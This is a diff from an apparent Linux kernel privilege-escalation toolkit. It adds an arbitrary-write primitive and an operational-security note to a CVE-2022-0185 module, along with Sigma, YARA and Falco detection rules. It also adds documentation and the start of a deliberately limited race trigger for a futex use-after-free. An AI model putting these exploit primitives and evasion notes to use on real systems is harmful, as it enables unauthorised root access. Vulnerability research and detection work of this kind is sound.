bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] fuse_legacy: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
@@ -378,7 +380,6 @@ struct fuse_arb_ctx {
|
||||
bool trigger_armed;
|
||||
};
|
||||
|
||||
#ifdef __linux__
|
||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *ctx_void)
|
||||
{
|
||||
@@ -504,15 +505,6 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
(unsigned long)kaddr);
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *ctx_void)
|
||||
{
|
||||
(void)kaddr; (void)buf; (void)len; (void)ctx_void;
|
||||
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
|
||||
return -1;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* exploit */
|
||||
@@ -526,8 +518,11 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* (R2) Refuse if already root — no LPE work to do. */
|
||||
if (geteuid() == 0) {
|
||||
/* (R2) Refuse if already root — no LPE work to do. Consult
|
||||
* ctx->host first so unit tests can construct a non-root
|
||||
* fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
||||
}
|
||||
@@ -732,7 +727,6 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
||||
* runs because the arb_write primitive re-fires the trigger and
|
||||
* needs the live spray.
|
||||
* --------------------------------------------------------------- */
|
||||
#ifdef __linux__
|
||||
if (ctx->full_chain) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
|
||||
@@ -792,7 +786,6 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Clean up our IPC queues and mapping. The kernel slab state
|
||||
* after the overflow may be unstable; we exit cleanly on success
|
||||
@@ -826,6 +819,28 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: fsopen/fsconfig + userns+mountns clone are
|
||||
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] fuse_legacy: Linux-only module "
|
||||
"(fsopen + fsconfig + userns mount) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] fuse_legacy: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* embedded detection rules */
|
||||
/* ------------------------------------------------------------------ */
|
||||
@@ -856,6 +871,36 @@ static const char fuse_legacy_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
||||
|
||||
static const char fuse_legacy_yara[] =
|
||||
"rule fuse_legacy_cve_2022_0185 : cve_2022_0185 kernel_overflow\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0185\"\n"
|
||||
" description = \"fs_context legacy_parse_param oversized-source pattern (fsopen cgroup2)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $fsopen = \"fsopen\" ascii\n"
|
||||
" $cgrp2 = \"cgroup2\" ascii\n"
|
||||
" condition:\n"
|
||||
" all of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char fuse_legacy_falco[] =
|
||||
"- rule: fsopen/fsconfig in userns (CVE-2022-0185 trigger)\n"
|
||||
" desc: |\n"
|
||||
" Non-root fsopen + fsconfig(FSCONFIG_SET_STRING) sequence\n"
|
||||
" inside a userns. legacy_parse_param() integer-underflow\n"
|
||||
" overflow into kmalloc-4k. False positives: containers may\n"
|
||||
" mount their own filesystems but FSCONFIG with oversized\n"
|
||||
" 'source' option strings is unusual.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (fsopen, fsconfig) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" fsopen/fsconfig by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid evt=%evt.type)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0185]\n";
|
||||
|
||||
const struct skeletonkey_module fuse_legacy_module = {
|
||||
.name = "fuse_legacy",
|
||||
.cve = "CVE-2022-0185",
|
||||
@@ -868,8 +913,10 @@ const struct skeletonkey_module fuse_legacy_module = {
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = fuse_legacy_auditd,
|
||||
.detect_sigma = fuse_legacy_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = fuse_legacy_yara,
|
||||
.detect_falco = fuse_legacy_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; fsopen('cgroup2') + multiple fsconfig(FSCONFIG_SET_STRING, 'source', ...) calls to overflow legacy_parse_param's buffer. OOB write lands in kmalloc-4k adjacent to a msg_msg groom. No persistent files (msg_msg lives in the IPC namespace which disappears with the child). Dmesg silent on success; KASAN would show slab corruption if enabled. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + fsopen + fsconfig pattern in a single process. No cleanup callback - IPC queues auto-drain on namespace exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_fuse_legacy(void)
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
# ghostlock — CVE-2026-43499
|
||||
|
||||
"GhostLock" — a race-condition use-after-free on **kernel stack** memory in
|
||||
the Linux rtmutex / futex requeue-PI code path (`kernel/locking/rtmutex.c`),
|
||||
reachable by **any unprivileged local user** (CVSS PR:L). No user namespace,
|
||||
no capability, no special `CONFIG` beyond `CONFIG_FUTEX_PI` (universally
|
||||
enabled). It has existed since PI-futex requeue landed — **~15 years, across
|
||||
every distribution** — which is what makes it remarkable.
|
||||
|
||||
## The bug
|
||||
|
||||
On the deadlock-rollback path, `remove_waiter()` operates on `current`
|
||||
instead of the actual waiter task while unwinding a proxy lock in
|
||||
`rt_mutex_start_proxy_lock()` — reached from `futex_requeue()`. If a
|
||||
concurrent PI-chain priority walk (driven from another CPU via
|
||||
`sched_setattr()`) runs at that instant, `pi_blocked_on` is cleared on the
|
||||
**wrong** task and an on-stack `struct rt_mutex_waiter` is left dangling in a
|
||||
task's waiter / pi tree. When the kernel later rotates that rbtree over the
|
||||
(now-reused) stack frame, the forged node fields become a controlled kernel
|
||||
write → use-after-free.
|
||||
|
||||
The public research + PoC ("IonStack part II: GhostLock", VEGA / Nebula
|
||||
Security) builds the requeue-PI cycle so `FUTEX_CMP_REQUEUE_PI` hits
|
||||
`-EDEADLK` (the rollback) while a sibling-core consumer thread hammers
|
||||
`sched_setattr(SCHED_BATCH)` on the waiter's tid to win the race. A separate
|
||||
full Android/Pixel LPE then forges the on-stack `rt_mutex_waiter` on a leaked
|
||||
kernel page (the "KernelSnitch" futex-bucket timing side channel), overwrites
|
||||
a `struct file` `f_op` → configfs/ashmem arbitrary R/W → pipe physical R/W →
|
||||
cred patch → root. ~**97% stable** on kernelCTF; Google awarded **$92,337**.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Introduced | PI-futex requeue — **2.6.39** (commit `8161239a8bcc`) |
|
||||
| Fixed upstream | commit `3bfdc63936dd` ("rtmutex: Use waiter::task instead of current in remove_waiter()") — merged **7.1-rc1** |
|
||||
| Stable backports | **7.0.4** · 6.18.27 · **6.12.86** (LTS) · **6.6.140** (LTS) · **6.1.175** (LTS) |
|
||||
| Affected, no upstream fix | **5.15.x / 5.10.x / 5.4.x / 4.19.x** (kernel CNA lists no stable fix) |
|
||||
| Not affected | < 2.6.39 (predates PI-futex requeue) |
|
||||
| NVD class | CWE-416 (Use After Free) via CWE-362 (race); CVSS 7.8, PR:L |
|
||||
| CISA KEV | no (brand new) |
|
||||
|
||||
The `kernel_range` table carries one entry per backported branch;
|
||||
`kernel_range_is_patched()` marks any branch strictly newer than all of them
|
||||
(7.1+) patched-via-mainline and everything below the on-branch threshold
|
||||
vulnerable — including the 5.x LTS lines that have no published fix. Extend
|
||||
the table as more branches backport (the drift checker flags them). Source:
|
||||
the Linux kernel CNA record (`git.kernel.org/stable/c/<hash>`), corroborated
|
||||
by the Debian / Ubuntu / SUSE trackers.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` is a **pure version gate** — no active probe, because there is no
|
||||
cheap, safe way to distinguish vulnerable from patched without winning the
|
||||
race. It returns `OK` below 2.6.39 or on a patched kernel, and `VULNERABLE`
|
||||
in range. `CONFIG_FUTEX_PI` is a (near-universal) precondition detect()
|
||||
**assumes** rather than probes; there is no userns / capability precondition
|
||||
(any local user — CVSS PR:L).
|
||||
|
||||
`exploit()` forks an isolated child and runs two phases:
|
||||
|
||||
- **(A) deterministic + safe** — builds the requeue-PI cycle (a waiter
|
||||
holding a "chain" PI-futex and parked in `FUTEX_WAIT_REQUEUE_PI`; an owner
|
||||
holding the "target" PI-futex and blocked on the chain) and fires
|
||||
`FUTEX_CMP_REQUEUE_PI`, confirming the kernel returns **-EDEADLK**. That
|
||||
proves the `remove_waiter()` rollback path — where the bug lives — is
|
||||
reachable here. Without a concurrent priority walk the rollback is the
|
||||
kernel's normal, correct deadlock rejection: it creates no dangling
|
||||
pointer, so this phase is safe on any kernel. *(Validated on real hardware:
|
||||
the cycle returns `-EDEADLK` deterministically.)*
|
||||
- **(B) hard-bounded window exercise** — repeats (A) a small, wall-clock-
|
||||
capped number of times (24 iterations / 2 s) with a sibling-CPU
|
||||
`sched_setattr(SCHED_BATCH)` storm on the waiter's tid, overlapping the
|
||||
priority walk with the rollback (the actual race). Then it stops.
|
||||
|
||||
It is **deliberately under-driven**. A *won* race corrupts the kernel
|
||||
**stack** and drives a near-arbitrary pointer write — near-certain panic on a
|
||||
vulnerable host. So this module does **not** widen the `copy_from_user`
|
||||
window (no memfd / `PUNCH_HOLE`), does **not** spray or reoccupy the freed
|
||||
stack frame, and does **not** bundle the KernelSnitch leak → forged-waiter →
|
||||
fops/configfs/ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
|
||||
per-build offsets). The trigger is **reconstructed from the public PoC and is
|
||||
not VM-verified**. It returns `EXPLOIT_FAIL` and never claims root it did not
|
||||
get.
|
||||
|
||||
Because a kernel race that corrupts the stack is the least predictable class
|
||||
in the corpus, `ghostlock` carries the **lowest `--auto` safety rank** (11 —
|
||||
just below `bad_epoll`), so `--auto` only reaches for it after every safer
|
||||
vulnerable module.
|
||||
|
||||
## Detection — better than most kernel races, but read this
|
||||
|
||||
Unlike `bad_epoll` (whose epoll syscalls are indistinguishable from every
|
||||
event loop), GhostLock has a **genuinely distinctive tell**: a futex
|
||||
requeue-PI op (`FUTEX_WAIT_REQUEUE_PI` / `FUTEX_CMP_REQUEUE_PI`) returning
|
||||
`-EDEADLK`, which glibc's requeue-PI usage inside `pthread_cond_wait` never
|
||||
provokes, interleaved with `sched_setattr(SCHED_BATCH)` on a **sibling
|
||||
thread** and `sched_setaffinity` CPU pinning. The catch: auditd/sigma see the
|
||||
`futex` syscall but not its op-vs-return cheaply, and a bare `-S futex` watch
|
||||
would flood any host. So:
|
||||
|
||||
- **auditd / sigma** anchor on the far rarer `sched_setattr` /
|
||||
`sched_setaffinity` drivers plus the post-exploitation euid-0 transition.
|
||||
- **falco / eBPF** carries the high-fidelity rule (futex requeue-PI returns
|
||||
`EDEADLK` + sibling `sched_setattr`) — it can see the op and the return
|
||||
value.
|
||||
|
||||
There is no yara rule (in-kernel race, no file artifact). Tune the
|
||||
`sched_setattr` anchor per environment — real-time and scheduler-tuning
|
||||
daemons will false-positive.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel (>= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, or
|
||||
7.1+). There is **no partial mitigation**: PI futexes cannot be disabled at
|
||||
runtime, and no `unprivileged_userns_clone` / sysctl toggle closes this path.
|
||||
`mitigate()` is `NULL` for that reason.
|
||||
|
||||
## Credit
|
||||
|
||||
Discovery, research, and the public PoC: **VEGA / Nebula Security**
|
||||
(`@nebusecurity`, nebusec.ai). Upstream fix `3bfdc63936dd` (Keenan Dong /
|
||||
Thomas Gleixner). See `NOTICE.md`.
|
||||
@@ -0,0 +1,76 @@
|
||||
# NOTICE — ghostlock (CVE-2026-43499)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-43499** — "GhostLock", a **race-condition use-after-free** on
|
||||
kernel **stack** memory in the Linux rtmutex / futex requeue-PI path
|
||||
(`kernel/locking/rtmutex.c`). On the deadlock-rollback path,
|
||||
`remove_waiter()` operates on `current` instead of the actual waiter task
|
||||
while unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from
|
||||
`futex_requeue()`); a concurrent PI-chain priority walk driven via
|
||||
`sched_setattr()` on another CPU clears `pi_blocked_on` on the wrong task and
|
||||
leaves an on-stack `struct rt_mutex_waiter` dangling → UAF when the kernel
|
||||
later rotates the rbtree over the reused stack frame.
|
||||
|
||||
The bug is reachable by **any unprivileged local user** (CVSS 7.8, PR:L) —
|
||||
`futex(2)` + `sched_setattr(2)`, no capability, no user namespace, no special
|
||||
config beyond `CONFIG_FUTEX_PI` (universally enabled). It has existed since
|
||||
PI-futex requeue landed in **2.6.39** — ~15 years across every distribution.
|
||||
NVD class: **CWE-416** (Use After Free), with a **CWE-362** race root cause.
|
||||
**Not** in CISA KEV (brand new).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Discovery, research, and public PoC** by **VEGA / Nebula Security**
|
||||
(`@nebusecurity`, <https://nebusec.ai>), published as "IonStack part II:
|
||||
GhostLock" (<https://nebusec.ai/research/ionstack-part-2/>). Exploit code:
|
||||
<https://github.com/NebuSec/CyberMeowfia> (`IonStack/CVE-2026-43499`,
|
||||
Apache-2.0). Awarded **$92,337** in Google's kernelCTF for a ~97%-stable
|
||||
privilege escalation / container escape. SKELETONKEY's trigger
|
||||
reconstruction is informed by the public PoC's requeue-PI cycle shape only
|
||||
— no KernelSnitch offsets, forged-waiter field layout, or ROP / cred-patch
|
||||
arithmetic is reused.
|
||||
- **Introduced** with PI-futex requeue in **2.6.39** (commit
|
||||
`8161239a8bcc`).
|
||||
- **Fixed upstream** by commit
|
||||
`3bfdc63936dd4773109b7b8c280c0f3b5ae7d349` ("rtmutex: Use waiter::task
|
||||
instead of current in remove_waiter()", Keenan Dong / Thomas Gleixner),
|
||||
merged for **7.1-rc1**; stable backports **7.0.4 / 6.18.27 / 6.12.86 /
|
||||
6.6.140 / 6.1.175**.
|
||||
- Authoritative backport versions: the Linux kernel CNA record
|
||||
(<https://cveawg.mitre.org/api/cve/CVE-2026-43499>,
|
||||
`git.kernel.org/stable/c/<hash>`), corroborated by the Debian
|
||||
(<https://security-tracker.debian.org/tracker/CVE-2026-43499>), Ubuntu, and
|
||||
SUSE trackers. The **5.15 / 5.10 / 5.4 / 4.19** LTS branches are affected
|
||||
with no upstream stable fix published at time of writing.
|
||||
|
||||
All credit for finding, analysing, and exploiting this bug belongs to VEGA /
|
||||
Nebula Security and to the upstream maintainers who fixed it. SKELETONKEY is
|
||||
the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — reachability-only, not VM-verified.** This is
|
||||
the corpus's first rtmutex / futex-PI module and its cleanest example of a
|
||||
kernel-**stack** UAF (every other UAF in the corpus is heap/slab). Shipped on
|
||||
the same "fire the bug class and stop" contract as `stackrot`
|
||||
(CVE-2023-3269), `nft_catchall` (CVE-2026-23111), and `bad_epoll`
|
||||
(CVE-2026-46242).
|
||||
|
||||
`detect()` is a pure kernel-version gate (vulnerable iff `>= 2.6.39` and below
|
||||
the on-branch fix; backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175,
|
||||
7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no
|
||||
userns or CONFIG probe (`CONFIG_FUTEX_PI` assumed, near-universal).
|
||||
`exploit()` forks an isolated child that confirms the `-EDEADLK`
|
||||
`remove_waiter()` rollback path is reachable (deterministic, safe) and then
|
||||
exercises the actual race a hard-bounded 24 iterations / 2 s with a
|
||||
sibling-CPU `sched_setattr(SCHED_BATCH)` storm, and stops.
|
||||
|
||||
It is **deliberately under-driven**: a won race corrupts the kernel stack and
|
||||
drives a near-arbitrary pointer write (near-certain panic), so the module does
|
||||
not widen the `copy_from_user` window, does not spray/reoccupy the freed
|
||||
frame, and does not bundle the KernelSnitch leak → forged on-stack
|
||||
`rt_mutex_waiter` → fops/configfs/ashmem/pipe R/W → cred-patch root-pop
|
||||
(Android/Pixel-specific, per-build offsets). The trigger is reconstructed from
|
||||
the public PoC, not VM-verified — it never claims root it did not get. It
|
||||
carries the lowest `--auto` safety rank in the corpus.
|
||||
@@ -0,0 +1,567 @@
|
||||
/*
|
||||
* ghostlock_cve_2026_43499 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-43499 — "GhostLock", a race-condition use-after-free on kernel
|
||||
* STACK memory in the Linux rtmutex / futex requeue-PI code path
|
||||
* (kernel/locking/rtmutex.c). On the deadlock-rollback path,
|
||||
* remove_waiter() operates on `current` instead of the actual waiter task
|
||||
* while unwinding a proxy lock in rt_mutex_start_proxy_lock() — reached
|
||||
* from futex_requeue(). If a concurrent PI-chain priority walk (driven
|
||||
* from another CPU via sched_setattr()) runs at that instant,
|
||||
* `pi_blocked_on` is cleared on the WRONG task and an on-stack
|
||||
* `struct rt_mutex_waiter` is left dangling in a task's waiter / pi tree.
|
||||
* When the kernel later rotates that rbtree over the (now-reused) stack
|
||||
* frame, the forged node fields become a controlled kernel write → UAF.
|
||||
* Reachable by ANY unprivileged local user (CVSS PR:L): plain futex(2) +
|
||||
* sched_setattr(2), no user namespace, no capability, no special CONFIG
|
||||
* beyond CONFIG_FUTEX_PI (universally enabled). The bug has existed since
|
||||
* PI-futex requeue landed — ~15 years, across every distribution.
|
||||
*
|
||||
* Public research + PoC — "IonStack part II: GhostLock" by VEGA / Nebula
|
||||
* Security (https://nebusec.ai/research/ionstack-part-2/; code at
|
||||
* https://github.com/NebuSec/CyberMeowfia, Apache-2.0). A portable crash
|
||||
* PoC drives the -EDEADLK rollback while a sibling-core consumer thread
|
||||
* fires sched_setattr(SCHED_BATCH) to win the race; a separate full
|
||||
* Android/Pixel LPE then forges the on-stack rt_mutex_waiter on a leaked
|
||||
* kernel page (the "KernelSnitch" futex-bucket timing side channel),
|
||||
* overwrites a struct file f_op → configfs/ashmem arbitrary R/W → pipe
|
||||
* physical R/W → cred patch → root. ~97% stable on kernelCTF; Google
|
||||
* awarded $92,337.
|
||||
*
|
||||
* CWE-416 (Use After Free) via CWE-362 (race). CVSS 7.8 (PR:L). Introduced
|
||||
* ~2.6.39 (PI-futex requeue); fixed by commit 3bfdc63936dd ("rtmutex: Use
|
||||
* waiter::task instead of current in remove_waiter()") merged for 7.1-rc1;
|
||||
* stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175. The
|
||||
* 5.15 / 5.10 / 5.4 / 4.19 LTS branches are AFFECTED with no upstream
|
||||
* stable fix published at time of writing. NOT in CISA KEV (brand new).
|
||||
*
|
||||
* STATUS: 🟡 TRIGGER (reconstructed) — reachability-only, NOT VM-verified.
|
||||
* exploit() forks an isolated child that, in two phases:
|
||||
* (A) DETERMINISTIC + SAFE — builds the requeue-PI cycle (a waiter
|
||||
* holding a "chain" PI-futex and parked in FUTEX_WAIT_REQUEUE_PI;
|
||||
* an owner holding the "target" PI-futex and blocked on the chain)
|
||||
* and fires FUTEX_CMP_REQUEUE_PI, confirming the kernel returns
|
||||
* -EDEADLK. That -EDEADLK proves the remove_waiter() deadlock-
|
||||
* rollback path (where the bug lives) is REACHABLE on this host.
|
||||
* With no concurrent priority walk, the rollback is the kernel's
|
||||
* normal, correct deadlock rejection — it creates no dangling
|
||||
* pointer, so this phase is safe on any kernel.
|
||||
* (B) HARD-BOUNDED window exercise — repeats (A) a small, wall-clock-
|
||||
* capped number of times with a sibling-core consumer thread
|
||||
* hammering sched_setattr(SCHED_BATCH) on the waiter's tid, so the
|
||||
* PI-chain priority walk overlaps the rollback (the actual race).
|
||||
* Then it STOPS. It deliberately OMITS the memfd/PUNCH_HOLE
|
||||
* copy_from_user widening and the kernel-stack spray that make a
|
||||
* win likely, does NOT reoccupy the freed frame, and does NOT
|
||||
* bundle the KernelSnitch leak → forged-waiter → fops/configfs/
|
||||
* ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
|
||||
* per-build offsets). It returns EXPLOIT_FAIL and never claims
|
||||
* root it did not get.
|
||||
* A *won* race here corrupts the kernel STACK and drives a near-arbitrary
|
||||
* pointer write — near-certain panic on a vulnerable host — which is why
|
||||
* this carries the lowest --auto safety rank in the corpus (see
|
||||
* module_safety_rank() in skeletonkey.c).
|
||||
*
|
||||
* detect() is a pure version gate: vulnerable iff the running kernel is
|
||||
* >= 2.6.39 (when PI-futex requeue arrived) AND below the fix on its
|
||||
* branch. CONFIG_FUTEX_PI is a (near-universal) precondition that
|
||||
* detect() ASSUMES rather than probes — no distro tracker publishes a
|
||||
* CONFIG gate and /proc/config.gz is often absent; there is likewise no
|
||||
* userns / capability precondition (CVSS PR:L, any local user).
|
||||
*
|
||||
* arch_support: any — the bug and this reachability probe are arch-neutral
|
||||
* (futex / sched_setattr / pthreads); only the public *weaponization* is
|
||||
* arm64/Android-specific, and none of it is bundled here.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
/* futex operation constants — define defensively; <linux/futex.h> is not
|
||||
* always present and can clash with libc headers. */
|
||||
#ifndef FUTEX_LOCK_PI
|
||||
#define FUTEX_LOCK_PI 6
|
||||
#endif
|
||||
#ifndef FUTEX_UNLOCK_PI
|
||||
#define FUTEX_UNLOCK_PI 7
|
||||
#endif
|
||||
#ifndef FUTEX_WAIT_REQUEUE_PI
|
||||
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||
#endif
|
||||
#ifndef FUTEX_CMP_REQUEUE_PI
|
||||
#define FUTEX_CMP_REQUEUE_PI 12
|
||||
#endif
|
||||
#ifndef FUTEX_CLOCK_REALTIME
|
||||
#define FUTEX_CLOCK_REALTIME 256
|
||||
#endif
|
||||
#ifndef SCHED_BATCH
|
||||
#define SCHED_BATCH 3
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table. Mainline fix landed in 7.1-rc1 (3bfdc63936dd);
|
||||
* stable backports shipped per LTS branch below. A branch with an exact
|
||||
* entry is patched iff host.patch >= entry.patch; any branch strictly
|
||||
* newer than EVERY entry (i.e. 7.1+) is patched-via-mainline; every other
|
||||
* branch (5.4/5.10/5.15 — affected, no upstream fix — and the EOL lines
|
||||
* 6.2..6.5 / 6.7..6.11 / 6.13..6.17 / 6.19 / 7.0.<4) is still vulnerable.
|
||||
* kernel_range_is_patched() implements exactly that. Extend the table as
|
||||
* more branches publish backports (the drift checker flags them).
|
||||
* Authoritative source: the Linux kernel CNA record (git.kernel.org
|
||||
* /stable/c/<hash>), corroborated by Debian/Ubuntu/SUSE trackers.
|
||||
* ------------------------------------------------------------------ */
|
||||
static const struct kernel_patched_from ghostlock_patched_branches[] = {
|
||||
{6, 1, 175}, /* 6.1 LTS — d8cce4773c2b */
|
||||
{6, 6, 140}, /* 6.6 LTS — 8a1fc8d698ac */
|
||||
{6, 12, 86}, /* 6.12 LTS — 6d52dfcb2a5d */
|
||||
{6, 18, 27}, /* 6.18 — 3fb7394a8377 */
|
||||
{7, 0, 4}, /* 7.0 — 88614876370a; 7.1+ inherits the mainline fix */
|
||||
};
|
||||
|
||||
static const struct kernel_range ghostlock_range = {
|
||||
.patched_from = ghostlock_patched_branches,
|
||||
.n_patched_from = sizeof(ghostlock_patched_branches) /
|
||||
sizeof(ghostlock_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ghostlock: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* PI-futex requeue (and thus the vulnerable rt_mutex_start_proxy_lock
|
||||
* / remove_waiter rollback) arrived in 2.6.39; older kernels predate
|
||||
* the code entirely. (In practice nothing modern is below this, but
|
||||
* the gate is here for correctness.) */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 39)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ghostlock: kernel %s predates PI-futex requeue "
|
||||
"(introduced 2.6.39) — not affected\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&ghostlock_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] ghostlock: kernel %s is patched (>= 7.0.4 / "
|
||||
"6.12.86 / 6.6.140 / 6.1.175 on-branch, or 7.1+ "
|
||||
"mainline)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ghostlock: VULNERABLE — kernel %s below the fix on "
|
||||
"its branch; rtmutex/futex requeue-PI remove_waiter() "
|
||||
"stack UAF reachable by any unprivileged user (no userns "
|
||||
"/ capability; assumes CONFIG_FUTEX_PI, near-universal)\n",
|
||||
v->release);
|
||||
fprintf(stderr, "[i] ghostlock: no unprivileged-userns or sysctl stopgap "
|
||||
"applies (PI futexes cannot be disabled at runtime) — the "
|
||||
"only fix is to patch the kernel\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Reconstructed reachability trigger (deliberately under-driven).
|
||||
*
|
||||
* Faithful minimal shape of the public PoC's requeue-PI cycle:
|
||||
* waiter : LOCK_PI(chain); WAIT_REQUEUE_PI(wait -> target) [parks]
|
||||
* owner : LOCK_PI(target); LOCK_PI(chain) [blocks]
|
||||
* main : CMP_REQUEUE_PI(wait -> target) => -EDEADLK
|
||||
* The requeue would make the waiter block on `target` (held by owner),
|
||||
* owner is blocked on `chain` (held by waiter) → cycle → rt_mutex
|
||||
* deadlock detection returns -EDEADLK and runs remove_waiter() rollback.
|
||||
*
|
||||
* Phase A (no consumer) confirms that rollback path is REACHABLE — safe,
|
||||
* because without a concurrent PI priority walk the unwind is the normal
|
||||
* correct deadlock rejection and leaves nothing dangling. Phase B adds a
|
||||
* sibling-core sched_setattr(SCHED_BATCH) storm on the waiter's tid to
|
||||
* overlap the walk with the rollback (the actual race), hard-bounded,
|
||||
* then stops. We do NOT widen the copy_from_user window (no memfd /
|
||||
* PUNCH_HOLE), do NOT spray/reoccupy the freed stack frame, and do NOT
|
||||
* weaponise. The honest witness is coarse: the -EDEADLK reachability
|
||||
* proof, plus a fault signal in the isolated child if a Phase-B race
|
||||
